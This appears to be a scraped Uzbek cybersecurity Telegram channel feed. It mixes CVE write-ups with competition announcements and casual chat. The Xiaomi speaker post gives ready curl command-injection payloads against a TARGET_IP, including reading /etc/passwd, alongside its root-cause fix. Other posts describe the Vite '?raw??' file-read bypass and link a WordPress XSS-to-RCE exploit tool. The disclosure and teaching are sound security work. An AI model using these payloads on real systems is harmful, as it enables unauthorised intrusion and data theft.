monday

🔥 CVE-2026-72580 — Xiaomi Smart Speaker’larda Critical RCE Product: duhow/xiaoai-patch Affected devices: Xiaomi smart speaker’lar — LX06, LX01, LX05, L09A, Mini, Art va boshqalar. Vulnerability: OS Command Injection CWE: CWE-78 Severity: 🔴 CRITICAL CVSS: 9.8 --- 🔍 Zaiflik nima? duhow/xiaoai-patch — Xiaomi smart speaker'lar uchun custom rootfs/patch loyihasi. Zaiflik api/main.py ichidagi /mute va /unmute endpointlarida mavjud. Muammo — HTTP request'dagi silent parametri shell command ichiga qo‘shilib, os.system() orqali bajariladi: silent = 'SILENT=1' if 'silent' in request.args else '' service = os.path.join(const.services_dir, 'listener') os.system(f'{silent} {service} {action}') Bu yerda attacker-controlled input shell kontekstiga tushadi. Natijada autentifikatsiyasiz attacker arbitrary OS command execution qilishi mumkin. --- 💥 PoC Target: http://TARGET_IP Current user'ni tekshirish: curl "http://TARGET_IP/mute?silent=;%20whoami;%20#" /etc/passwd o‘qish: curl "http://TARGET_IP/mute?silent=;%20cat%20/etc/passwd;%20#" Fayl yaratish orqali RCE'ni tasdiqlash: curl "http://TARGET_IP/unmute?silent=;%20touch%20/tmp/poc;%20#" Tekshirish: curl "http://TARGET_IP/mute?silent=;%20id;%20#" > ⚠️ PoC faqat o‘zingizga tegishli yoki test qilishga ruxsat berilgan qurilmada ishlatilishi kerak. --- 🧠 Attack Flow Unauthenticated HTTP Request ↓ /mute?silent=<input> ↓ request.args ↓ os.system() ↓ Shell Command Injection ↓ Arbitrary Command Execution ↓ RCE --- 🎯 Impact Ushbu vulnerability exploitation qilinganda attacker: • Arbitrary OS commands bajarishi • Qurilma konfiguratsiyasini o‘zgartirishi • Local ma’lumotlarni o‘qishi • Fayllar yaratishi/o‘chirishi • Qurilmani to‘liq takeover qilishi • Speaker'ni botnet/pivot sifatida ishlatishi mumkin --- 🛠 Root Cause Asosiy xato: os.system(...) foydalanuvchi-controlled input bilan shell orqali ishlatilgan. Tavsiya etiladigan yondashuv: subprocess.run( [service, action], env=env, shell=False, check=False ) User input'ni shell command string'iga qo‘shmaslik kerak. #CVE #CVE202672580 #CyberSecurity #RCE #IoT #Xiaomi #CommandInjection #CWE78 #TuranSecurity #VulnerabilityResearch

CVE-2025-30208 Attacker │ │ HTTP request ▼ Vite Dev Server │ ├── server.fs │ │ │ └── File access restriction │ ▼ URL parsing │ └── ?raw?? / ?import&raw?? │ ▼ Restriction bypass │ ▼ Arbitrary file read │ ▼ Sensitive file contents Ya'ni muammo faylni o‘qish funksiyasining o‘zida emas, balki URL/query parsing bilan server.fs tekshiruvi orasidagi nomuvofiqlikda. Zaif holatda nima bo‘ladi? CVE-2025-30208'da attacker query parametrlarini maxsus ko‘rinishda yuboradi: ?raw?? yoki: ?import&raw?? Natijada Vite'ning turli qismlarida URL/query normalization bir xil ishlamaydi. Soddalashtirib: Attacker request ↓ Query string ↓ Parser A → "?" ↓ Parser B → "??" ↓ Security regex/check ↓ BYPASS ↓ File loader ↓ File content @monday_uzb

pico ctf

https://www.cve.org/CVERecord?id=CVE-2026-72593 CRITIC https://www.cve.org/CVERecord?id=CVE-2026-72592 CRITIC https://www.cve.org/CVERecord?id=CVE-2026-72580 CRITIC (XIAOMI QURILMALARI BO'YICHA) https://www.cve.org/CVERecord?id=CVE-2026-72581 HIGH ( XIAOMI QURILMALARI BO'YICHA) 4 ta cve chiqdi ⚡️⚡️⚡️

🔥 CYBERKENT 4.0 — SANALAR RASMAN MA’LUM! O‘zbekistonning eng yirik kiberxavfsizlik musobaqalaridan biri — Cyberkent 4.0 uchun asosiy sanalar aniqlandi. 🔴 RED TEAM — 15-sentabr Hujumkor jamoalar uchun saralash bosqichi. 🔵 BLUE TEAM — 22-sentabr Mudofaa yo‘nalishidagi…

🔥 CYBERKENT 4.0 — SANALAR RASMAN MA’LUM! O‘zbekistonning eng yirik kiberxavfsizlik musobaqalaridan biri — Cyberkent 4.0 uchun asosiy sanalar aniqlandi. 🔴 RED TEAM — 15-sentabr Hujumkor jamoalar uchun saralash bosqichi. 🔵 BLUE TEAM — 22-sentabr Mudofaa yo‘nalishidagi jamoalar uchun saralash. 🏆 FINAL — 5–6 oktabr Saralashdan muvaffaqiyatli o‘tgan jamoalar final bosqichida kuch sinashadi. Bu yil ham Red vs Blue formatida haqiqiy kiberjanglar, real infratuzilmaga yaqin muhit va kuchli raqobat kutmoqda. ⚔️ 📅 Sanalarni belgilab qo‘ying — Cyberkent 4.0 boshlanmoqda. #Cyberkent4 #Cybersecurity #RedTeam #BlueTeam #Uzbekistan @monday_uzb

📶Ayni damda Navoiy viloyatida yoshlarning kiberxavfsizlik sohasidagi bilim va ko‘nikmalarini rivojlantirishga qaratilgan “NavoiTechTeens 2.0” loyihasi doirasidagi mashg‘ulotlar bo'lib o'tmoqda. Dastlab, loyiha ishtirokchilari bilan "Red Team", "Blue Team" va "Python" yo‘nalishlari bo‘yicha dastlabki bilimlari yuzasidan suhbat tashkil etildi va ularning tayyorgarlik darajasi aniqlandi. So'ngra, ishtirokchilar quyidagi mavzularda nazariy bilimlarga ega bo'lmoqda: 🔴”Red Team” yo‘nalishida — “OWASP Top 10” hamda “Burp Suite” dasturining asosiy imkoniyatlari 🔴”Blue Team” yo‘nalishida — kompyuter tarmoqlari va OSI modeli asoslari 🐍”Python” yo‘nalishida esa — ma’lumot turlari, “Python”dasturlash tilining asoslari va uning kiberxavfsizlikdagi o‘rni Kunning ikkinchi yarmida esa ishtirokchilar o‘z yo‘nalishlari bo‘yicha amaliy mashg‘ulotlarda qatnashmoqda. ✔️Ma’lumot uchun, “NavoiTechTeens 2.0” loyihasi 15-avgustgacha davom etadi.

Koment yozilachi super qahramonlar😂

https://platform.falcon-academy.uz/ctf/

yaxshi platforma ekan maslahat beraman)

💀 CVE-2026-64638: XSS2Shell (WP login XSS to RCE)WordPress is vulnerable to a pre-auth reflected XSS vulnerability on the login screen. Via a specially crafted malicious third-party website hosted by an attacker🛠️ TOOLS: Nuclei Template (Detection): https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-64638.yaml Exploit Tool (xss2shell): https://github.com/Boreas37/CVE-2026-64638-PoC-XSS2Shell- 💥 IMPACT: Pre‑auth XSS → RCE. No credentials needed. Over 500M sites at risk.

Kiber stalker kinosini korganlar bormi?